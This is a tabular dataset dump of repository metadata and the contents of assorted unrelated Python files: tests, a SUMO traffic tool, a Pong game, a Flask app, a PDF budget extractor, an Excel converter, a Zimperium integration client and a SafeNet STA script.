hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
5329c987293a42041a1f3e0da528ae6f294ddaa1
149
py
Python
python/tests/test_operator.py
Obarads/Point_Cloud_Tutorial
faf7ae8abf962ecea414cc7557dc35f4fca0e406
[ "MIT" ]
1
2021-11-22T10:32:49.000Z
2021-11-22T10:32:49.000Z
python/tests/test_operator.py
Obarads/Point_Cloud_Tutorial
faf7ae8abf962ecea414cc7557dc35f4fca0e406
[ "MIT" ]
1
2021-12-09T14:39:51.000Z
2021-12-09T14:39:51.000Z
python/tests/test_operator.py
Obarads/Point_Cloud_Tutorial
faf7ae8abf962ecea414cc7557dc35f4fca0e406
[ "MIT" ]
null
null
null
import numpy as np from tutlibs import operator def test_dot(): # operator.dot() pass def test_angle(): # operator.angle() pass
10.642857
28
0.644295
be3789ad224500634f11a7ae0229960ced13160c
1,760
py
Python
tests/core.py
abraxas767/ezencode
14d870a708c4da1389858f5265c36b930a0e5176
[ "MIT" ]
null
null
null
tests/core.py
abraxas767/ezencode
14d870a708c4da1389858f5265c36b930a0e5176
[ "MIT" ]
null
null
null
tests/core.py
abraxas767/ezencode
14d870a708c4da1389858f5265c36b930a0e5176
[ "MIT" ]
null
null
null
import unittest import sys sys.path.insert(0, "../module/encodings/") sys.path.insert(0, "../module/encodings/huffman/") from huffman_encoding import HuffmanEncoding sys.path.insert(0, "../module/encodings/morse/") from morse_encoding import MorseEncoding class UnitTest(unittest.TestCase): def test_huffman_en...
31.428571
75
0.641477
be5c16d44ad05624834a7fb738937fdf1410f88f
878
py
Python
etc/old/es/opt/misc/oo.py
timm/py
28be3bb63433895e2bcab27ad82cb0b0cc994f37
[ "Unlicense" ]
1
2021-03-31T03:41:06.000Z
2021-03-31T03:41:06.000Z
etc/old/es/opt/misc/oo.py
timm/py
28be3bb63433895e2bcab27ad82cb0b0cc994f37
[ "Unlicense" ]
null
null
null
etc/old/es/opt/misc/oo.py
timm/py
28be3bb63433895e2bcab27ad82cb0b0cc994f37
[ "Unlicense" ]
null
null
null
# vim: filetype=python ts=2 sw=2 sts=2 et : import re,sys,math,random,argparse from types import FunctionType as fun import inspect import copy class base: def has(i): return {} class obj(base): "All you ever neeed: one tiny object." def __init__(i, **d): i.__dict__.update(d) def __repr__(i) : return "{"+...
25.085714
81
0.55467
be94ba169568e4ddd0dabc87d31802d2a1c48e0e
2,294
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/net/createRoundaboutConnections.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/net/createRoundaboutConnections.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/net/createRoundaboutConnections.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2010-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
37.606557
99
0.649085
a3a7b3c7cbaa507f68798da0710aca6d04b2b814
684
py
Python
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/screed-0.7.1-py2.7.egg/screed/tests/test_fastq_recover.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2019-07-29T02:53:51.000Z
2019-07-29T02:53:51.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/screed-0.7.1-py2.7.egg/screed/tests/test_fastq_recover.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
1
2021-09-11T14:30:32.000Z
2021-09-11T14:30:32.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/screed-0.7.1-py2.7.egg/screed/tests/test_fastq_recover.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
2
2016-12-19T02:27:46.000Z
2019-07-29T02:53:54.000Z
import test_fastq import os import screed from screed.DBConstants import fileExtension class test_fq_recover(test_fastq.Test_fastq): def setup(self): thisdir = os.path.dirname(__file__) self._fileName = os.path.join(thisdir, 'fastqRecovery') self._testfq = os.path.join(thisdir, 'test.fastq'...
34.2
63
0.707602
432c2fb6440b846ffa79adcb8c99459b59a1a534
285
py
Python
exercises/de/solution_01_03_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
2
2020-07-07T01:46:37.000Z
2021-04-20T03:19:43.000Z
exercises/de/solution_01_03_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/de/solution_01_03_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
# Importiere spaCy und erstelle ein deutsches nlp-Objekt import spacy nlp = spacy.blank("de") # Verarbeite den Text doc = nlp("Ich mag niedliche Katzen und Faultiere.") # Wähle den ersten Token aus erster_token = doc[0] # Drucke den Text des ersten Tokens print(erster_token.text)
20.357143
56
0.757895
437cfa2fffe5c5c6521533a4e94c5d65803499e2
547
py
Python
Chapter4_Intermediate/Exercise4.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
2
2021-02-13T19:18:00.000Z
2021-11-10T09:54:49.000Z
Chapter4_Intermediate/Exercise4.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
null
null
null
Chapter4_Intermediate/Exercise4.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
null
null
null
"""Exercise 1: 1.) Write a function that takes an integer number n as an input. The function returns a list with all power of twos (2^n) from 0 to n-1. Please use a list comprehension. 2.) Write a function that takes the result list from 1.) as an input. Iterate over all values of the list and print the current index a...
17.645161
79
0.683729
60ca80e8150b58d468beb45e972ba6f539ab5054
1,406
py
Python
frappe-bench/apps/erpnext/erpnext/config/non_profit.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/config/non_profit.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/config/non_profit.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
from __future__ import unicode_literals from frappe import _ def get_data(): return [ { "label": _("Chapter"), "icon": "fa fa-star", "items": [ { "type": "doctype", "name": "Chapter", "description": _("Chapter information."), } ] }, { "label": _("Membership"), "items": [...
18.025641
53
0.48862
1cb9ed8e6ba11b319746711ef1bce4cc9e5874c9
3,487
py
Python
Entregable 2/app_https.py
NovaKal/IoT
842859efd730ff55250dd707ec85b0d73e1f8790
[ "MIT" ]
null
null
null
Entregable 2/app_https.py
NovaKal/IoT
842859efd730ff55250dd707ec85b0d73e1f8790
[ "MIT" ]
null
null
null
Entregable 2/app_https.py
NovaKal/IoT
842859efd730ff55250dd707ec85b0d73e1f8790
[ "MIT" ]
null
null
null
from flask import Flask, request, render_template from itertools import cycle from OpenSSL import SSL import json import xxhash import sqlite3 db_data = 'database/sensor_data.db' db_signature = 'database/signature.db' app = Flask(__name__) @app.route('/') def home(): return render_template('index.html') @app.rou...
30.858407
208
0.595354
1c029755320c03b5b20bde1098c06d45c76f037f
2,682
py
Python
budget.py
LosWochos76/haushalt_wetter_extractor
1132c38ed3fd132262b7263368db7a7eebe6086d
[ "MIT" ]
null
null
null
budget.py
LosWochos76/haushalt_wetter_extractor
1132c38ed3fd132262b7263368db7a7eebe6086d
[ "MIT" ]
null
null
null
budget.py
LosWochos76/haushalt_wetter_extractor
1132c38ed3fd132262b7263368db7a7eebe6086d
[ "MIT" ]
null
null
null
import pdfplumber import xlsxwriter import sys import os import pandas as pd from page import Page class Budget: def __init__(self, pdf_filename, year): self.pdf_filename = pdf_filename self.source_year = year self.cache_dir = "page_cache_" + str(year) self.pages = [] self.dataframe = pd.DataFrame(columns=[...
33.949367
151
0.701342
c725f744d8538f4979530e6de52b2c0baa6fc40b
729
py
Python
30 Days of Code/30DoC-day-08/30DoC_day_8.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
30 Days of Code/30DoC-day-08/30DoC_day_8.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
30 Days of Code/30DoC-day-08/30DoC_day_8.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
# Enter your code here. Read input from STDIN. Print output to STDOUT import math import os import random import re import sys # first line of input signifies n # accept input in format name (lowercase) + " " + 8-digit number # key value pair = name+ "=" phoneNumber # when only name entered, output phoneNumber in fo...
22.090909
69
0.640604
40dc170488a1c204fa3df90e0920572981474ae6
3,727
py
Python
python/coursera_python/FUND_OF_COMP_RICE/FUND_OF_COMPUTING_RICE/pong.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/FUND_OF_COMP_RICE/FUND_OF_COMPUTING_RICE/pong.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/FUND_OF_COMP_RICE/FUND_OF_COMPUTING_RICE/pong.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
# Implementation of classic arcade game Pong import simplegui import random # initialize globals - pos and vel encode vertical info for paddles WIDTH = 600 HEIGHT = 400 BALL_RADIUS = 20 PAD_WIDTH = 8 PAD_HEIGHT = 80 HALF_PAD_WIDTH = PAD_WIDTH / 2 HALF_PAD_HEIGHT = PAD_HEIGHT / 2 LEFT = False RIGHT = True ball_...
29.346457
88
0.647706
40f9263796da241664756156180aba2a5d3061ca
26,011
py
Python
Packs/Zimperium/Integrations/Zimperium/Zimperium.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/Zimperium/Integrations/Zimperium/Zimperium.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/Zimperium/Integrations/Zimperium/Zimperium.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import shutil from typing import Dict, Tuple from dateparser import parse import urllib3 from CommonServerPython import * # Disable insecure warnings urllib3.disable_warnings() DATE_FORMAT = '%Y-%m-%dT%H:%M:%SZ' class Client(BaseClient): """ Client to use in the Zimperium integration. Overrides BaseClient ...
34.451656
120
0.616931
291a23a387bec1a75424dbc9fb08e29185b7fe05
7,451
py
Python
Co-Simulation/Sumo/run.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
null
null
null
Co-Simulation/Sumo/run.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
null
null
null
Co-Simulation/Sumo/run.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
null
null
null
import argparse import logging import multiprocessing import os import subprocess import sys import time import xmltodict from subprocess import Popen from multiprocessing import Process from util.func import ( copy_local_file_to_vagrant, check_port_listens, check_port_listens_by_port_scan, data_from_...
49.673333
340
0.709032
46a6dc7cffd5fd31e782990d094c73e7bb7479a1
768
py
Python
backend/app/core/solver/feedback_config.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-11-04T17:06:07.000Z
2021-11-04T17:06:07.000Z
backend/app/core/solver/feedback_config.py
JamesNeumann/learning-by-annotations
c2b5e4b653eeb1c973aa5a7dad35ac8be18cb1ad
[ "MIT" ]
21
2021-11-01T10:13:56.000Z
2021-12-02T10:02:13.000Z
backend/app/core/solver/feedback_config.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-12-16T18:20:55.000Z
2021-12-16T18:20:55.000Z
class FeedbackConfig: BORDER_DECENT = 0.3 LOWER_AREA_BORDER = 0.9 UPPER_AREA_BORDER = 1.9 PERCENTAGE_LENGTH_DIFFERENCE = 0.6 PERCENTAGE_OUTSIDE = 0.1 @staticmethod def get_weighted_border( *, border: float, knowledge_level: int, decent_value: float = BORDER_DECENT ) ->...
34.909091
87
0.660156
7333b78c567a540f378f233b280e71c536745255
2,283
py
Python
Packs/SafeNet_Trusted_Access/Scripts/STAPostProcessing/STAPostProcessing.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/SafeNet_Trusted_Access/Scripts/STAPostProcessing/STAPostProcessing.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/SafeNet_Trusted_Access/Scripts/STAPostProcessing/STAPostProcessing.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto # noqa: F401 from CommonServerPython import * # noqa: F401 import traceback ''' STANDALONE FUNCTION ''' # Get Incident Details. def get_incident_sta(): return demisto.incidents()[0] # Check if user is a member of Unusual Activity Group. def check_user_exist_group_sta(field: Dict...
38.05
114
0.682435
b48d45e2e9a3a56b3f9e9705e39c9c4e9a93c181
2,110
py
Python
v504/python/kennlinie.py
chrbeckm/anfaenger-praktikum
51764ff23901de1bc3d16dc935acfdc66bb2b2b7
[ "MIT" ]
2
2019-12-10T10:25:11.000Z
2021-01-26T13:59:40.000Z
v504/python/kennlinie.py
chrbeckm/anfaenger-praktikum
51764ff23901de1bc3d16dc935acfdc66bb2b2b7
[ "MIT" ]
null
null
null
v504/python/kennlinie.py
chrbeckm/anfaenger-praktikum
51764ff23901de1bc3d16dc935acfdc66bb2b2b7
[ "MIT" ]
1
2020-12-06T21:24:58.000Z
2020-12-06T21:24:58.000Z
import numpy as np import matplotlib.pyplot as plt from uncertainties import ufloat from scipy import optimize import scipy.constants as const from scipy.stats import sem v20, a20 = np.genfromtxt('python/2a.txt', unpack=True) v21, a21 = np.genfromtxt('python/21a.txt', unpack=True) v22, a22, a23, a24 = np.genfromtxt('p...
30.142857
109
0.650711
c308251e805cdc10ba9f910200d7691203cab759
590
py
Python
73-set-matrix-zeroes/73-set-matrix-zeroes.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
73-set-matrix-zeroes/73-set-matrix-zeroes.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
73-set-matrix-zeroes/73-set-matrix-zeroes.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def setZeroes(self, matrix: List[List[int]]) -> None: """ Do not return anything, modify matrix in-place instead. """ # O(m+n) space row=set() col=set() for i in range(len(matrix)): for j in range(len(matrix[0])): if...
29.5
63
0.416949
d2eed0a8936fa830d6efbfb800e0ee33819c4d5b
3,027
py
Python
tools/legacy/colony-wars-bnd-converter/readBnd.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
2
2020-03-18T18:23:27.000Z
2020-08-02T15:59:16.000Z
tools/legacy/colony-wars-bnd-converter/readBnd.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
5
2019-07-07T16:47:47.000Z
2020-08-10T16:20:00.000Z
tools/legacy/colony-wars-bnd-converter/readBnd.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
1
2020-03-18T18:23:30.000Z
2020-03-18T18:23:30.000Z
import sys import json import struct import glob from collections import namedtuple importFilenames = sys.argv[1:] for importFilename in importFilenames: exportFilename = importFilename.replace(".bnd", ".obj").replace(".BND", ".obj") print "reading " + importFilename try: with open(importFilenam...
37.37037
150
0.545425
7da366ca1fb1d46a5a648ce0920bff2fadde42aa
510
py
Python
get_ids.py
McSvenster/sammelsurium
9e85ac623cfcc5d2c1ce6b31f025420514967b7a
[ "MIT" ]
null
null
null
get_ids.py
McSvenster/sammelsurium
9e85ac623cfcc5d2c1ce6b31f025420514967b7a
[ "MIT" ]
null
null
null
get_ids.py
McSvenster/sammelsurium
9e85ac623cfcc5d2c1ce6b31f025420514967b7a
[ "MIT" ]
null
null
null
#!/bin/env python ### # Skript um ids aus der localen es-instanz in txt zu schreiben # ETH Library: Sven Koesling # Oktober 2018 import sys from elasticsearch import Elasticsearch es = Elasticsearch() index = sys.argv[1] res = es.search(index=index, filter_path=['hits.hits._source.orig_id'], body={"query": {"match_al...
28.333333
119
0.676471
c4a687cd69b0cabc98c41b8f0a1d44360fe20033
890
py
Python
src/application/KalmanFilter.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
7
2015-11-27T09:53:32.000Z
2021-01-13T17:35:54.000Z
src/application/KalmanFilter.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
src/application/KalmanFilter.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
import cv import numpy as np # b = 80 # Winkel, in dem hochgeworfen wird # v = 100 # Geschwindigkeit des Balles # t = 1 # Zeitpunkt # g = 9.81 class KalmanFilter(object): def __init__(self): self.point0 = (0,0) self.point1 = (1,1) def trajectory(self, (y1, x1), (y2, x2), t): b = np.degrees(np.arctan((y2-y1)...
24.722222
117
0.575281
73cab7841a1dc1c6051405d6864318c080736bfa
463
py
Python
books/PythonAutomate/excel_spreadsheets/text_to_excel.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/excel_spreadsheets/text_to_excel.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/excel_spreadsheets/text_to_excel.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""text_to_excel.py 다수의 텍스트 파일을 엑셀 파일로 변환 ex) python text_to_excel.py <텍스트파일 1, 2, 3...> """ import sys import openpyxl if len(sys.argv) < 2: print(f"python {__file__} <text files...>") wb = openpyxl.Workbook() sheet = wb.active for file_index, file_name in enumerate(sys.argv[1:]): with open(file_name) as f: ...
24.368421
69
0.656587
fb87423c39592d34a70a124aab124a25f1aab53b
229
py
Python
login/urls.py
mribrgr/StuRa-Mitgliederdatenbank
87a261d66c279ff86056e315b05e6966b79df9fa
[ "MIT" ]
8
2019-11-26T13:34:46.000Z
2021-06-21T13:41:57.000Z
src/login/urls.py
Sumarbrander/Stura-Mitgliederdatenbank
691dbd33683b2c2d408efe7a3eb28e083ebcd62a
[ "MIT" ]
93
2019-12-16T09:29:10.000Z
2021-04-24T12:03:33.000Z
src/login/urls.py
Sumarbrander/Stura-Mitgliederdatenbank
691dbd33683b2c2d408efe7a3eb28e083ebcd62a
[ "MIT" ]
2
2020-12-03T12:43:19.000Z
2020-12-22T21:48:47.000Z
from django.urls import path from . import views app_name = 'login' # here for namespacing of urls. urlpatterns = [ path("", views.main_screen, name="homepage"), path('logout/', views.logout_request, name="logout") ]
20.818182
56
0.689956
f7a900373f08de727e6bf6fc1f1fdf7c85521873
836
py
Python
dblp/python/citationsE2ETest.py
DocSeven/spark
a88330f554a4afc70696dac8d00bcf4d2f512acf
[ "Apache-2.0" ]
null
null
null
dblp/python/citationsE2ETest.py
DocSeven/spark
a88330f554a4afc70696dac8d00bcf4d2f512acf
[ "Apache-2.0" ]
null
null
null
dblp/python/citationsE2ETest.py
DocSeven/spark
a88330f554a4afc70696dac8d00bcf4d2f512acf
[ "Apache-2.0" ]
1
2019-11-06T11:29:31.000Z
2019-11-06T11:29:31.000Z
import pytest from . import citations from pyspark.sql import Row from pyspark.sql import SparkSession pytestmark = pytest.mark.usefixtures("with_spark_context") def test_citation_e2e(with_spark_context): # This is necessary in order for toDF() to be available. spark = SparkSession(with_spark_context) d =...
30.962963
77
0.599282
f77d4a7bad813ddb890351058bff1689353ab2b0
1,599
py
Python
code/create_reporting_triangle.py
Stochastik-TU-Ilmenau/hospitalization-nowcast-hub
df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d
[ "MIT" ]
null
null
null
code/create_reporting_triangle.py
Stochastik-TU-Ilmenau/hospitalization-nowcast-hub
df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d
[ "MIT" ]
null
null
null
code/create_reporting_triangle.py
Stochastik-TU-Ilmenau/hospitalization-nowcast-hub
df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d
[ "MIT" ]
null
null
null
import pandas as pd from pathlib import Path from tqdm.auto import tqdm tqdm.pandas() path = Path('../data-truth/COVID-19/deconvoluted/') files = sorted([f.name for f in path.glob('**/*')]) dates = [f[:10] for f in files] dfs = [] for f in files: date = f[:10] df_temp = pd.read_csv(path/f) df_temp = df_te...
34.021277
123
0.64728
e3955c9a37f3c16f1c8b7a5b0c983dbccd52c0ef
1,108
py
Python
frappe-bench/apps/erpnext/erpnext/stock/report/bom_search/bom_search.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/stock/report/bom_search/bom_search.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/stock/report/bom_search/bom_search.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and Contributors and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe, json from six import iteritems def execute(filters=None): data = [] parents = { "Product Bundle Item": "Product Bundle", ...
24.086957
85
0.669675
3fb6f6104058a03482757adf75a90f481d70dab0
483
py
Python
tests/views/test_auth.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
tests/views/test_auth.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
tests/views/test_auth.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
from project.services.user import find_user_by_email def test_register(client, app, utils): utils.register("test@test.de", "MeinPasswortIstDasBeste") with app.app_context(): user = find_user_by_email("test@test.de") assert user is not None def test_login(client, app, db, utils, seeder): ...
30.1875
68
0.722567
b7886e814ebb4db087682a4bda3ea4d4266cec9a
9,920
py
Python
packages/watchmen-dqc/src/watchmen_dqc/monitor/rules_runner.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-dqc/src/watchmen_dqc/monitor/rules_runner.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-dqc/src/watchmen_dqc/monitor/rules_runner.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from datetime import date, datetime, timedelta from logging import getLogger from typing import Dict, List, Optional, Tuple from apscheduler.schedulers.asyncio import AsyncIOScheduler from watchmen_auth import PrincipalService from watchmen_data_kernel.meta import TenantService, TopicService from watchmen_data_kernel...
39.365079
120
0.805746
4ddef9c5235e1d2301677d286fbd91521301e44e
948
py
Python
example/external_data_producer.py
shipt/py-volley
0114651478c8df7304d3fe3cb9f72998901bb3fe
[ "MIT" ]
8
2022-02-24T14:59:24.000Z
2022-03-31T04:37:55.000Z
example/external_data_producer.py
shipt/py-volley
0114651478c8df7304d3fe3cb9f72998901bb3fe
[ "MIT" ]
3
2022-02-27T17:08:52.000Z
2022-03-18T13:11:01.000Z
example/external_data_producer.py
shipt/py-volley
0114651478c8df7304d3fe3cb9f72998901bb3fe
[ "MIT" ]
2
2022-02-24T15:03:07.000Z
2022-03-15T03:12:00.000Z
# example producer # simulates some "external service" publishing data to a kafka topic that a Volley application consumes from import os import time from uuid import uuid4 from confluent_kafka import Producer from example.data_models import InputMessage from volley.config import load_yaml from volley.logging import ...
29.625
108
0.67827
150ff54e7013adf11748da365695a4610a20bc49
5,842
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/onyx/test_onyx_ntp_servers_peers.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/onyx/test_onyx_ntp_servers_peers.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/network/onyx/test_onyx_ntp_servers_peers.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
# # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible_collections.community.general.tests.unit.compat.mock import pa...
43.274074
103
0.627182
67b75ba767d246e7f01e996d515513b5a17ec7f3
1,244
py
Python
routers/crowdin.py
Tarek1337/Dashboard-api
4feb4c0c55b8a1cd60eab5acd0a4f52d93fb7961
[ "MIT" ]
null
null
null
routers/crowdin.py
Tarek1337/Dashboard-api
4feb4c0c55b8a1cd60eab5acd0a4f52d93fb7961
[ "MIT" ]
null
null
null
routers/crowdin.py
Tarek1337/Dashboard-api
4feb4c0c55b8a1cd60eab5acd0a4f52d93fb7961
[ "MIT" ]
null
null
null
from pydantic import BaseModel from Utils import Redis from fastapi import APIRouter router = APIRouter() class Exported(BaseModel): event: str project: str project_id: int language: str source_string_id: str old_translation_id: str = None new_translation_id: str = None user: str = N...
28.272727
90
0.61254
97dd3f0336630d17fe4a1abc7d338e8160847812
3,254
py
Python
2020-08-31-1417-gma_my_scara_loesungen.py
gmaubach/OOP-with-Python
9b059e911d55d616e756324564f1f2cc524aa53d
[ "MIT" ]
null
null
null
2020-08-31-1417-gma_my_scara_loesungen.py
gmaubach/OOP-with-Python
9b059e911d55d616e756324564f1f2cc524aa53d
[ "MIT" ]
null
null
null
2020-08-31-1417-gma_my_scara_loesungen.py
gmaubach/OOP-with-Python
9b059e911d55d616e756324564f1f2cc524aa53d
[ "MIT" ]
null
null
null
